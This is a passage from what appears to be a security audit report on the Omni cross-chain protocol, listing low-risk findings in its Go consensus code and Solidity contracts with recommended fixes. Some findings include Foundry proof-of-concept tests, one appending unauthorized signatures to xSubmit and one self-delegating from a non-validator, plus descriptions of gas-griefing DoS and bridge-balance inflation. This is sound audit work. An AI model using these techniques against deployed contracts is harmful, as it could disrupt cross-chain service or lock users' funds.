Now, this amount needs to be define carefully, as it could create a problem if too small and future vote are coming first, that could potentially make some attestation to never be approved, which would be very bad too. Maybe a better approach would be to specify a stronger index to filter more the result (maybe by chains), you could potentially fetch the latest attestation offset per chain before end, and then here

put a stronger index filter (filtering by attest_offset) since you don't want any votes that is not the next head per chain.

```
func (k *Keeper) Approve(ctx context.Context, valset ValSet) error {
    defer latency("approve")()

    pendingIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatus(uint32(Status_Pending))
-   iter, err := k.attTable.List(ctx, pendingIdx)
+   iter, err := k.attTable.List(ctx, idx, ormlist.DefaultLimit(100)) // Runs the number and figure out a
↪   proper amount, throwing 100 for now.
    if err != nil {
        return errors.Wrap(err, "list pending")
    }
    defer iter.Close()

    approvedByChain := make(map[xchain.ChainVersion]uint64) // Cache the latest approved attestation offset by
↪   chain version.
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return errors.Wrap(err, "value")
        }
        chainVer := att.XChainVersion()
        chainVerName := k.namer(chainVer)

        ...
```

3.6.19 `addOne` has the potential to add signatures associated to a `zero attestation id`

Severity: Low Risk

Context: keeper.go#L179-L225

- Description There is a potential edge case that a nil attestation could be returned somehow (due to DB bug/corruption) which might not be detected in the moment. This is because the code purelly rely on the Getter to get the values, but more importantly the id when it's an existing attestation (`existing.GetId()`), hence if the attestation was somehow nil, the code will work and returns an `id of 0`, which will then be used to add signatures with this incorrect attestation id.


```
func (x *Attestation) GetId() uint64 {
    if x != nil {
        return x.Id
    }
    return 0
}
```

Since the auto increment id start at one, this seems safe.

```
func (t *autoIncrementTable) nextSeqValue(kv kv.Store) (uint64, error) {
    seq, err := t.curSeqValue(kv)
    if err != nil {
        return 0, err
    }

    seq++               // <---------------- always start at 1
    return seq, t.setSeqValue(kv, seq)
}
```

- Recommendation I would add a sanity check in `addOne` just to be super cautious.

```
    ...

    } else {
        attID = existing.GetId()
    }

+   // sanity check
+   if attID == 0 {
+       return errors.New("att unique key invalid [BUG]")
+   }
+
    // Insert signatures
    for _, sig := range agg.Signatures {
        sigTup, err := sig.ToXChain()
        if err != nil {
            return err
        }

        err = k.sigTable.Insert(ctx, &Signature{
            Signature:        sig.GetSignature(),
            ValidatorAddress: sig.GetValidatorAddress(),
            AttId:            attID,
            ChainId:          agg.AttestHeader.GetSourceChainId(),
            ConfLevel:        agg.AttestHeader.GetConfLevel(),
            AttestOffset:     agg.AttestHeader.GetAttestOffset(),
        })


    ...
}
```

3.6.20 `getBlockAndMsgs` lacking Close() for the iterator

Severity: Low Risk

Context: keeper.go#L114-L117

- Description `getBlockAndMsgs` iterate over the msgTable but **never Close() the iterator**, which might cause `memory leaks`.
- Recommendation

```
func (k Keeper) getBlockAndMsgs(ctx context.Context, blockID uint64) (*Block, []*Msg, error) {
    block, err := k.blockTable.Get(ctx, blockID)
    if err != nil {
        return nil, nil, errors.Wrap(err, "get block")
    }

    iter, err := k.msgTable.List(ctx, MsgBlockIdIndexKey{}.WithBlockId(blockID))
    if err != nil {
        return nil, nil, errors.Wrap(err, "list messages")
    }
+   defer iter.Close()

    var msgs []*Msg
    for iter.Next() {
        msg, err := iter.Value()
        if err != nil {
            return nil, nil, errors.Wrap(err, "get msg value")
        }

        msgs = append(msgs, msg)
    }

    return block, msgs, nil
}
```

3.6.21 `Approve` doesn't delete validator signature in time for attestation that doesn't reach quorum

Severity: Low Risk

Context: keeper.go#L317-L343

- Description `Approve` which occurs during EndBlock `deletes votes` (signature) from validator that are not part of the validator set anymore. There is a specific case where the code is not enforcing that thought, but that doesn't seems to be problematic, but still reporting as `Low`.

As we can see from the code snippet, whenever we try to approve attestation but quorum is not yet reach, any signature marked to delete (toDelete) will not be deleted during this EndBlock call. This doesn't seems problematic as most likely they should be remove soon enough in next EndBlock call or so, or during the call to `deleteBefore` in BeginBlock.

```
        toDelete, ok, err := isApproved(sigs, valset)
        if err != nil {
            return err
        } else if !ok {
            // Check if there is a finalized attestation that overrides this one.
            if ok, err := k.maybeOverrideFinalized(ctx, att); err != nil {
                return err
            } else if ok {
                setMetrics(att)
                approvedByChain[chainVer] = att.GetAttestOffset()
            }

            continue                // <---------------------- whenever we get here, toDelete are not deleted
↪   as we continue, so we skip the upcoming loop
        }

        for _, sig := range toDelete {
            addr, err := sig.ValidatorEthAddress()
            if err != nil {
                return err
            }

            discardedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Inc()

            if err = k.sigTable.Delete(ctx, sig); err != nil {
                return errors.Wrap(err, "delete sig")
            }
        }
```


- Recommendation This report is to mainly **raise awareness** of this behavior which might be unknown to the team. I'm not convince an implementation change is actually required.

3.6.22 Lack of Validation in `OmniPortal::setNetwork` Function May Cause `xcall` Function to Become Non-Functional

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The `OmniPortal::setNetwork` function is responsible for updating the network of supported chains and shards by calling the internal `_clearNetwork` function. This process removes the previous network configuration and deletes the `_network` array to prepare for new settings.

However, if an empty array of `XTypes.Chain` is accidentally passed to the `setNetwork` function, it results in an unintended outcome. While the function correctly marks all previously supported chains and shards as unsupported—functioning as designed—it fails to add any new chains or shards to the `_network` array. Consequently, the contract ends up with no active network configuration.

Now, all the relevant mappings (`isSupportedDest` and `isSupportedShard`) are set to `false`, and the `_network` array is cleared. This leaves the contract in a non-functional state for cross-chain operations. Also, what makes this issue more potent is `the absence of any recovery mechanism from such scenarios`.

Refererence : `https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L436-L454`

```
  function _clearNetwork() private {
        XTypes.Chain storage c;
        for (uint256 i = 0; i < _network.length; i++) {
            c = _network[i];

            // if not this chain, mark as unsupported dest
            if (c.chainId != chainId()) {
@>>                 isSupportedDest[c.chainId] = false;
                continue;
            }

            // if this chain, mark shards as unsupported
            for (uint256 j = 0; j < c.shards.length; j++) {
                isSupportedShard[c.shards[j]] = false;
            }
        }

        delete _network;
    }
```

The issue arises when `xcall` is invoked to perform any other cross-chain communication; the validation check to confirm if the destination chain is supported will fail, leading to a revert.

Refer to the below code snippet of `xcall` where the `isSupportedDest[destChainId]` is false and hence it will not allow the call to proceed and revert. Hence, if we a call by authorized parties is made to set the configuration again, it will revert due to the `isSupportedDest[destChainId]` check being false.

```
  function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
==>       require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
```

Reference : https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L136

- Recommendation

In the `setNetwork` function, add a check to revert if the `network_` parameter is an empty array. This ensures that the function will not proceed with clearing the existing network configuration if no new data is provided, preventing accidental loss of configuration. Additionally, validate that the `network_` array includes an entry for the current chain with appropriate shards and configuration details.

Reference : https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol#L401-L406

```
  function setNetwork(XTypes.Chain[] calldata network_) external {
++    require(network_.length > 0, "Invalid parameter");
        require(msg.sender == address(this), "OmniPortal: only self");
        require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
        require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
        _setNetwork(network_);
    }
```

3.6.23 OmniToken can be temporarily stuck because of the bridge mechanism

Severity: Low Risk

Context: OmniBridgeNative.sol#L107-L109, OmniBridgeNative.sol#L124-L127

- Description OmniToken would be minted on L1 during contract creation and on Native chain during genesis. This makes both chains the origin of OmniToken, and therefore it uses lock/unlock mechanism on both chains.

Unfortunately, this can cause temporary DoS or stuck OmniToken because what the bridge actually does is match demand to bridge to L1 with demand to bridge to Native chain.

- Example There are 2,000,000 circulating supply of OmniToken on L1 and 1,000,000 circulating supply on Native.

There are 300,000 OmniToken on L1Bridge and 100,000 on NativeBridge.

If 100,000 OmniToken is bridged from L1 to Native, the balances would be 0 OmniToken on NativeBridge and 400,000 on L1Bridge. If any other user bridges OmniToken to Native, their balance on the Native chain will not increase. They have to wait till another user bridges to L1 before they can claim the OmniToken on L1.

If L1 is the chain with insufficient balance, NativeBridge.bridge would be out of service because it would revert if the bridge amount is less than L1Bridge balance.

Bridges are not meant to go out of service when there's more demand to bridge to a chain than from it--or vice versa. Or even worse, don't have immediate access to your funds as a user.

Incentives and applications could drive the demand to bridge from one chain to another. For example, there would likely be more bridging to native than to L1 when delegation is enabled for users. DeFi projects could also drive the demand to bridge to L1 or Native chain.

- Recommendation Consider using mint/burn mechanism instead of lock/unlock.

3.6.24 Attacker can boost the l1BridgeBalance in OmniBridgeNative contract

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The `OmniBridgeNative` contract maintains a state variable `l1BridgeBalance` to track the balance of Omni tokens in L1 Bridge contract. Every time the Omni is bridged from L1 to Native(Omni's EVM), the state variable is updated via the `xcalldata` in the withdraw function.

Refer to the `_bridge` function in `OmniBridgeL1` contract where it reports balance of tokens for this address + amount being bridged now.

```
function _bridge(address payor, address to, uint256 amount) internal {
      ...
       bytes memory xcalldata =
           abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
           ↪  amount));
      ...
   }
```

Example : balance in OmniBridgeL1 : 10000 amount being bridged : 500

When `withdraw` function is executed in `OmniNativeBridge` contract, it will update the state variable as 10500. Refer to the code snippet below.

```
   function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
       external
       whenNotPaused(ACTION_WITHDRAW)
   {
      ...

       l1BridgeBalance = l1Balance;
      ...
   }
```

The vulnerability lies in how the l1BridgeBalance is being tracked using `token.balanceOf(address(this))` and updating the state variable in OmniNativeBridge.

- Proof of Concept Lets say,
- l1BridgeBalance has 1000000 Omni tokens
- OmniNativeBridge.l1BridgeBalance will reflect 1000000 Omni tokens

That means at any point in time, user who has native Omni tokens should be able to bridge back to L1 upto a cumulative value of 1000000 Omni tokens represented as ERC20.

The vulnerability arises when attacker performs a direct transfer of 500000 ERC20 tokens to `OmniBridgeL1` contract using the transfer function, but using the bridge functionality.

In such case, on next bridging call, the l1BridgeBalance will reflect this transferred amount to the variable `l1BridgeBalance`.

Example, if 50 ERC20 Omni tokens are bridged,

- l1BridgeBalance has 1500050 Omni tokens
- OmniNativeBridge.l1BridgeBalance will reflect 1500050 Omni tokens

But 500000 was never received on `OmniNativeBridge`, they can never be with drawn. Such funds are permanently locked.

While the attacker does not gain any benefit from this kind of action, the issue outlines that it is a not a best practice to use this.balance for tracking purposes. The tokens are lost in transit permanently and hence are not available for future transactions.

- Recommendation Track the balance using a state variable.

3.6.25 Multiple solidity version

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description Omni project using multiple solidity versions across files.
- Recommendation

3.6.26 Incorrect block check performed

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description Inside the `LazyLoad` function, the following check is performed:

```
const day = 100_000; // At least a day old
if (height, err := omniEVMCl.BlockNumber(ctx); err == nil && height > day) {
    expected = nil;
}
```

In this code, the variable `day` is set to `100_000`, representing a block height that should be at least a day old, as noted in the comment.

However, when we examine the condition:

```
height > day
```

This means that if `height == day` (exactly a day old), the condition will not pass, even though it should, according to the comment `at least a day old`.

- Impact As a result, in the case where the `height` equals `100,000`, the condition will execute incorrectly.
- Recommendation: We suggest adjusting the condition to account for when the height is exactly equal to `day`, as follows:

```
-   && height > day {
+   && height >= day {
```

3.6.27 `OmniPortal#xSubmit` succeeds when the signatures array contain signatures from other validator_set or by some malicious actors

Severity: Low Risk

Context: Quorum.sol#L21-L48, OmniPortal.sol#L189-L199

- Description

`xSubmit` allows malicious signatures to be passed inside `xSub.signatures` array and the cross chain submission succeeds even when the signatures does not belong to current validator set or any validator set at all .

This is not a centralization Issue , and more about the weakness of quorom verification parts of the code.

The way how it works is that since `OmniPortal#xSubmit` does not have any access control , Anyone can submit valid proof that the `attestationRoot` is valid and there are signers from some validator set that has signed this root to be the correct one and they must meet the quorom requirements that > 2/3 of the validators from the validator set has signed the attestationRoot to be correct one.

The signatures array inside xSub can be appended with malicious signatures that has signed the attestation root and submit the `xSubmit` call.

Note :- This bug , according to my current understanding , neither inflat the voting power to trick quorom verification , nor affect any user funds at all for now , just a weak verification mechanism of qurom contract used in OmniPortal.

Well i can't think of any direct funds loss exploit with this issue , this can be problematic in future when malicious addresses can be able to submit their signatures of attestationRoot and get included inside message submission signers and leverage this participation as a token to exploit other parts of the protocol i.e You can cancel an xSubmission if you were the signer of it , then malicious users can do it .

- Proof of Concept

I've Proved it at two levels.

Level 0 : Qurom.t.sol , i've targetted the root cause of the issue to be qurom.verify so in it's test file , i've made a case of appending an invalid validator/ malicious address to the valid signatures array of validators_set

```
function test_verify_with_invalid_validator() public {
        _initValset({ valSetId: 1, numVals: 3 });
        bytes32 digest = keccak256(abi.encodePacked("hello"));

        // = _getSignatures({ digest: digest, valSetId: 1 });

        uint64 valSetId=1;

        XTypes.Validator[] storage vals = validators[valSetId];
        uint numSigs=validators[valSetId].length + 1;

        XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](numSigs);

        //
        uint alice_privateKey = uint256(keccak256(abi.encodePacked("alice")));
        address alice_addr = vm.addr(alice_privateKey);
        vm.label(alice_addr, "alice");
        //

        bytes memory alice_sig=_sign(keccak256(abi.encodePacked("hello")), alice_privateKey);
        sigs[numSigs-1] = XTypes.SigTuple(alice_addr, alice_sig);

        for (uint256 i = 0; i < numSigs-1; i++) {
            sigs[i] = XTypes.SigTuple(vals[i].addr, _sign(digest, privKeys[vals[i].addr]));
        }

        _sortSigsByAddr(sigs);


        bool verified = quorum.verify({ digest: digest, sigs: sigs, valSetId: 1, qNumerator: 2, qDenominator:
↪  3 });
        assertTrue(verified);
    }
```

Level 1 : Detailed one , about `OmniPortal#xSubmit()`, where during the xSubmission call , caller can append malicious set of addresses at the end and they will succeed.


```
 function test_xSubmit_malicious_signatures_appended_succeeds() public {
        string memory name;
        uint64 valSetId;
        uint64 destChainId;
        IOmniPortal portal_;
        Counter counter_;

        name = 'xblock1';
        destChainId = thisChainId;
        valSetId = genesisValSetId;
        portal_ = portal;
        counter_ = counter;

        ////////////////////////////////////////////////
        ////// Step 1 : Make new Malicious Addresses ////
        ////////////////////////////////////////////////

        uint total_new_addresses = 7;
        address[] memory new_malicious_addresses = new address[](total_new_addresses);
        uint[] memory new_malicious_keys = new uint[](total_new_addresses);

        for (uint i = 0; i < total_new_addresses; i++) {
            new_malicious_keys[i] = uint256(
                keccak256(abi.encodePacked('Unauthorized Address#', i))
            );
            new_malicious_addresses[i] = vm.addr(new_malicious_keys[i]);
        }

        ////////////////////////////////////////////////
        ////// Step 2: Fetch Valid xBlock submission /////
        ////////////////////////////////////////////////

        XTypes.Submission memory xsub = readXSubmission(name, destChainId, valSetId);

        XTypes.SigTuple[] memory signatures = new XTypes.SigTuple[](
            xsub.signatures.length + total_new_addresses
```

```
        );

        ////////////////////////////////////////////////
        ////// Step 3: Keep the valid signatures /////////
        ////////////////////////////////////////////////

        for (uint k = 0; k < xsub.signatures.length; k++) {
            signatures[k] = xsub.signatures[k];
        }
        ////////////////////////////////////////////////////////////////////////
        ////// Step 3: Append new signatures ///////////////////////////////////
        // that belongs to some other validator set or just are malicious      ///
        ////////////////////////////////////////////////////////////////////////

        for (uint k = xsub.signatures.length; k < signatures.length; k++) {
            bytes memory sig_ = _sign(
                xsub.attestationRoot,
                new_malicious_keys[k - xsub.signatures.length]
            );
            signatures[k] = (
                XTypes.SigTuple(new_malicious_addresses[k - xsub.signatures.length], sig_)
            );
        }

        xsub.signatures = signatures;
        ////////////////////////////////////////////////
        ////// Step 4: Sort the signatures ///////////////
        ////////////////////////////////////////////////
        _sortSigsByAddr(xsub.signatures);

        uint64 sourceChainId = xsub.blockHeader.sourceChainId;
        uint64 shardId = xsub.blockHeader.confLevel; // conf level is shard id
        uint64 expectedOffset = xsub.msgs[xsub.msgs.length - 1].offset;
        uint256 expectedCount = numIncrements(xsub.msgs) + counter_.count();

        // vm.prank(relayer);
        vm.chainId(destChainId);


        ////////////////////////////////////////////////
        ////// Step 5: submit xMessage     ////////////
        ////////////////////////////////////////////////

        portal_.xsubmit{gas: _xsubGasLimit(xsub)}(xsub);
        ////////////////////////////////////////////////
        ////// Step 5: Ensure xSubmit was successful  ////
        ////////////////////////////////////////////////

        assertEq(portal_.inXMsgOffset(sourceChainId, shardId), expectedOffset);
        assertEq(portal_.inXBlockOffset(sourceChainId, shardId), xsub.blockHeader.offset);
        assertEq(counter_.count(), expectedCount);
        assertEq(counter_.countByChainId(sourceChainId), expectedCount);
    }
```

- Recommendation Inside `xSubmit()` or `Quorom.verify()` methods , check that all the signatures must belong to the current validator set.

3.6.28 Denial of Service Vulnerability in xsubmit() Function Due to Insufficient Gas Checks

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary

A vulnerability in the xsubmit() function on the OmniPortal contract allows anyone to submit an XBlock without sufficient gas checks.

Since the function **does not validate the total gas sent**, this can lead to failed transactions if the gas provided is insufficient.

As the function is external, it opens up a vector for **Denial of Service (DoS) attacks**, where malicious users or bots can repeatedly submit XBlocks with low gas, causing transaction failures and disrupting cross-chain message processing.

- Finding Description

The xsubmit() function is designed to allow the submission of XBlocks, which are crucial to the functionality of the protocol. However, this function lacks a check on the total gas sent by the caller, which means that **if the gas supplied is less than the amount required to fully execute the XBlock, the transaction will fail**.

Because the function is marked as external, anyone can call it. -- **Typically one can front-run the Relayer** -- This includes potential malicious actors who can purposefully submit XBlocks with insufficient gas. As a result, the network would process a series of failed transactions, which can degrade the overall service availability.

Additionally, even if the transaction fails, the gas already sent will be consumed, which could result in significant gas wastage over time.

And why this is severe issue:

1) Gas validation happens too late in the execution path. [in the _call function]
2) Batch processing is atomic (all or nothing) -- Even if one of the msgs reverts due to low-gas, the whole Tx reverts.
3) No pre-execution gas requirement calculation

- Impact Explanation

1. **Gas-Griefing Denial of Service (DoS)** (or) **Gas Bombing Attack** : The most significant impact is the potential for a DoS attack. A malicious actor could continuously submit XBlocks with low gas, forcing the transactions to fail and preventing the network from processing legitimate transactions. This could halt cross-chain message processing, effectively freezing the system until the attack is mitigated.
2. **Gas Wastage** : Even though the transaction fails due to insufficient gas, users or attackers will still burn gas for the attempt. Repeated failures will lead to significant gas wastage, increasing operational costs for the protocol and negatively affecting users.

(or in other words)

No Gas Refund: In Ethereum and EVM chains, failed transactions still consume the gas used up until the failure point. This means that if a user submits the transaction with low gas, the transaction fails, but they still lose the gas fee. This could incentivize malicious actors to repeatedly submit transactions with insufficient gas, potentially clogging the network or wasting gas.

- Likelihood Explanation

• **High Likelihood**: This issue is highly likely to be exploited because the function is external and can be called by anyone. There are no access restrictions or permissions required to trigger this bug, which increases its exposure.

• **DoS Feasibility** : The feasibility of a DoS attack is also high since a malicious user only needs to repeatedly send low-gas transactions to exploit this flaw. The lack of a gas validation check makes the attack simple and cost-effective for an adversary.

• **Accidental Legitimate Triggers** : Beyond malicious attacks, legitimate users could accidentally trigger this bug by not providing enough gas. This adds to the likelihood of the issue being encountered.

- Recommendation (optional)

Gas Validation: Implement a gas estimation check in the xsubmit() function to ensure that the gas sent is sufficient to process the entire XBlock. If the gas provided is insufficient, reject the transaction early to prevent failed executions and gas wastage.

3.6.29 Reentrancy guard in OmniPortal will not work as expected

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The OmniPortal contract inherits from the `ReentrancyGuardUpgradeable` contract provided by OpenZeppelin, which is designed to prevent reentrancy attacks by maintaining a status flag (_status) to block multiple invocations of protected functions within a single transaction.

However, the OmniPortal contract does not call the `__ReentrancyGuard_init()` function in its initialize function. This results in improper initialization of the reentrancy guard, and the _status variable remains unset in the context of the OpenZeppelin upgradeable contract pattern. Even though the contract may still work as expected in certain cases, this is not guaranteed and poses a potential risk for future inheritance or contract upgrades, leading to possible reentrancy vulnerabilities.

Without explicitly calling `__ReentrancyGuard_init()`, the reentrancy protection provided by the ReentrancyGuardUpgradeable contract is not correctly initialized. This could lead to situations where the reentrancy guard is either bypassed or improperly configured, especially if changes or upgrades are made to the contract.

OmniPortal

```
contract OmniPortal {
    function initialize(InitParams calldata p) public initializer {
        __Ownable_init(p.owner);
        // __ReentrancyGuard_init() is missing, leading to potential risks
            }
}
```

- Recommendation

It is strongly impoartant to include the call to __ReentrancyGuard_init() within the initialize function to ensure the reentrancy guard is explicitly initialized and active.

```
contract OmniPortal {
    function initialize(InitParams calldata p) public initializer {
        __Ownable_init(p.owner);
        __ReentrancyGuard_init();  // Correctly initializing reentrancy guard

            }
}
```


3.6.30 `nil` value returned instead of an empty value, violating the cosmos-sdk spec

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `attest` module implements the `baseapp.ExtendVoteHandler`:

```
// halo/attest/keeper/keeper.go
var _ sdk.ExtendVoteHandler = (*Keeper)(nil).ExtendVote
```

If we look at the implementation of `ExtendVote()`, we find that, whenever an error has occurred, `nil` is returned(the code below is one of the many occurrences in the function):

```
// ExtendVote extends a vote with application-injected data (vote extensions).
func (k *Keeper) ExtendVote(ctx sdk.Context, _ *abci.RequestExtendVote) (*abci.ResponseExtendVote, error) {
// code ommitted
    if err != nil {
->      return nil, errors.Wrap(err, "parse chain id")
    }
// code ommitted
}
```

Returning a `nil` value goes against the Cosmos-SDK spec. If we look at the Docs:

- https://docs.cosmos.network/v0.52/build/abci/vote-extensions#extend-vote

We can read the following:

```
Note, if an application decides to implement `baseapp.ExtendVoteHandler`,
it MUST return a non-nil `VoteExtension`.
However, the vote extension can be empty.
```

As we can see, the return value **MUST** be a non-nil value, which is not the case in the implementation of `ExtendVote` in the `attest` module.

This violates the spec, which leads to undefined behavior.

Recommendation: Return an empty value instead of `nil` to conform to the specs.

3.6.31 Negative value passed to prometheus

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: As per the Arbitrum Docs, the `block.timestamp` on an Arbitrum L2 block is different than the 'real' `time.Now()`:

- `Must fall within the established boundaries (24 hours earlier than the current time or 1 hour in the future). More on this below.`

The `block.Timestamp` is used inside `Vote()`:

```
    lag := time.Since(block.Timestamp).Seconds()
```

The issue here is that `block.Timestamp` can be in the future(up to 1 hour). This would lead to `lag` being a negative value, which will be passed to `prometheus` by using `createLag`:

```
    createLag.WithLabelValues(name).Set(lag)
```

Since this is a negative value, this will have unexpected behavior since `prometheus` expect a positive number, which we can see here:

```
        Help: "Latest lag between vote creation and xblock timestamp (in seconds) per source chain version. " +
            "Alert if too high.",
```

Recommendation: Handle `block.Timestamp` differently based on the chains.

3.6.32 `RWMutex` should be used instead of simple Mutex to have better performance overall

Severity: Low Risk

Context: voter.go#L57

- Description The code base is using partially `sync.Mutex` which will **reduce the application overall performance** whenever a function only requiring reading lock is being called often. The following three module seems they could suffer such consequence and would benefits in using `sync.RWMutex` instead.

`lib/xchain/provider/provider.go`

`halo/app/lazyvoter.go`

This is getting called pretty often and would benefit in having a simple RLock instead.

```
func (l *voterLoader) getVoter() (*voter.Voter, bool) {
    l.mu.Lock()
    defer l.mu.Unlock()

    return l.voter, l.voter != nil
}
```

`halo/attest/voter/voter.go`

Mulitple functions (some private and some exported) could benefits from simple RLock as only reading the data.

- minWindow

- isValidator
- latestByChain
- AvailableCount
- GetAvailable
- Recommendation Implement `sync.RWMutex` instead of `sync.Mutex` in the mentionned code which will give you more granularity over the locking and probably result in a little boost in performance overall.

3.6.33 Unneccesary loop check

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description inside `instrumentVotes` the discarded votes get added to a counter, which happens here:

```
if discardVotes {
    discardedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Inc()
}
```

If no there are no discarded votes, the function continues executing and reaches this part of the code:

```
for _, val := range valset.Validators {
    addr, err := val.EthereumAddress()
    if err != nil {
        return errors.Wrap(err, "validator address")
    }

    expectedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Inc()
    approvedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Add(boolToFloat(included[addr]))
    missingVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Add(boolToFloat(!included[addr]))
    discardedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Add(0)
}
```

inside the function loops over the validators and updates several vote counters, including the discarded votes counter. Since there are no discarded votes, the following action is performed.

```
discardedVotesCounter.WithLabelValues(addr.Hex(), chainVerName).Add(0)
```

This effectively adds `0` to the discarded votes counter for every loop iteration but it doesn't have any practical impact because adding `0` doesn't change the counter's value.

Nevertheless, the function still executes this code on every iteration.

- Impact this will consume some performance despite having no practical effect.
- Recommendation Consider removing the add `0` operation, as it has no effect.

3.6.34 Octane's Staking#delegate allows non-existing validators to delegate leading to breaking of system rules and assumptions

Severity: Low Risk

Context: Staking.sol#L103-L111

- Summary

When allowList is not enabled , the `delegate` method inside Octane's Staking module allows delegation of a non-validator address to itself , surpassing the condition of the function : `Only self delegations to existing validators are currently supported.` The funds will be lost on evm side because there's no validator for address `msg.sender`.

Although there's not any loss of funds to protocol but only to caller which has two cases

The caller might be an attacker or innocent user. If he is attacker , he will gain nothing rather just delegating to himself and paying the `msg.value` eth.

if he is innocent user , we say that it is user's mistake .

But due to the fact that the function allows only `existing validators to delegate`, surpassing this logic makes this issue at least a considerable one (severity can vary depending on how important this violation is to the protocol)

- Finding Description The Staking module inside Octane Solidity core contracts is designed to create validators and delegate . The delegate function is follows

```
    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

The natspec allows `Only self delegations to existing validators` however , as seen in poc section , a non-validator can also self delegate which violates this requirement.

- Impact Allowing delegation of Non-validator accounts breaking system's assumptions about the operation i.e Delegate event can only be emitted by a valid validator which can be exploited by adversaries in future upgrades of the protocol .
- Proof of concept

```
function test_delegate_by_non_validator() public {
        ////////////////////////
        /////// Setup /////////
        ////////////////////////
        address alice = makeAddr('alice');
        vm.deal(alice, 10 * staking.MinDeposit());
        uint256 deposit = staking.MinDeposit();

        // ##############################################################################
        // #### Case 1 : Delegate caller is not a validator && allowedList is disabled ########
        // ##############################################################################

        ////////////////////////////////////
        /////// Disable allowlist //////////
        ////////////////////////////////////

        vm.prank(owner);
        staking.disableAllowlist();

        ////////////////////////////////////////////////////////////////////////////////////////////////
        /// check current caller named `alice` is not a validator and hence disabled in allow-list ////////
        ////////////////////////////////////////////////////////////////////////////////////////////////

        assertFalse(staking.isAllowedValidator(alice));

        ////////////////////////////////
        /// Self Delegate Validator ///
        ////////////////////////////////

        vm.prank(alice);
        staking.delegate{value: deposit}(alice);
    }
```

- Recommendation I believe it should be checked that msg.sender must also be a validator regardless of the allowedList being enabled or disabled . One solution can be to have a `isvalidator` mapping and we will check in `delegate` method

```
require(isValidator[msg.sender],"Staking: Only validator can delegate");
```

And inside `createValidator` , we need to update the mapping as

```
isValidator[msg.sender]=true;
```

Or protocol can come up with their own better solution to this .

3.6.35 Destination chain id support should be validated early during submission for each of the messages to save gas

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description `OmniPortal::xsubmit` function should validate the destination chain for each of the messages in the batch before performing other checks to save gas.

Each of the Msg in the batch has the `destChainId` included as part of the struct.

```
struct Msg {
==>         uint64 destChainId;
        uint64 shardId;
        uint64 offset;
        address sender;
        address to;
        bytes data;
        uint64 gasLimit;
    }
```

If is more effective to check if the destination chain id is support for each of the messages in the batch before performing other checks and submitting them for execution. The supported destination chains are maintained in a mapping in the storage layout as below.

```
 mapping(uint64 => bool) public isSupportedDest;
```

The `xsubmit` function does not check early in the logic is the destination chain id is in the supported list early enough until the actual execution. Checking early will be more gas efficient.

```
 function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");
```

- Recommendation Check if the `msg.destChainId` is in the `isSupportedDest` mapping before proceeding with the quorum and merkletree validations.

Add the check as below.

```
    for (uint256 i = 0; i < xmsgs.length; i++) {
            require(isSupportedDest[xmsgs[i].destChainId],"destination chain not supported");
        }
```

3.6.36 `detectReorg` allow supported chain to have empty block hash

Severity: Low Risk

Context: voter.go#L616-L618

- Description `detectReorg` is discarding a reorgs in case the block hash is empty, but as stated in the comment this is for concensus chain **only**. All supported chains besides concensus MUST have a non-empty block hash.

```
// Skip consensus chain blocks without block hashes
```

- Recommendation I would recommend to add a condition here to ensure this is only true for consensus chain.

```
-   if block.BlockHash == (common.Hash{}) {
+   if block.BlockHash == (common.Hash{}) /*&& chainVer.ID == OmniConcensusChainID */{ // TODO implement
↪  properly
        return nil // Skip consensus chain blocks without block hashes.
    }
```

3.6.37 No leap years accounted for in 10 years calculation

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Inside `halo/app/start.go`, we find the following code:

```
    const farFuture = time.Hour * 24 * 365 * 10 // 10 years ~= infinity.
```

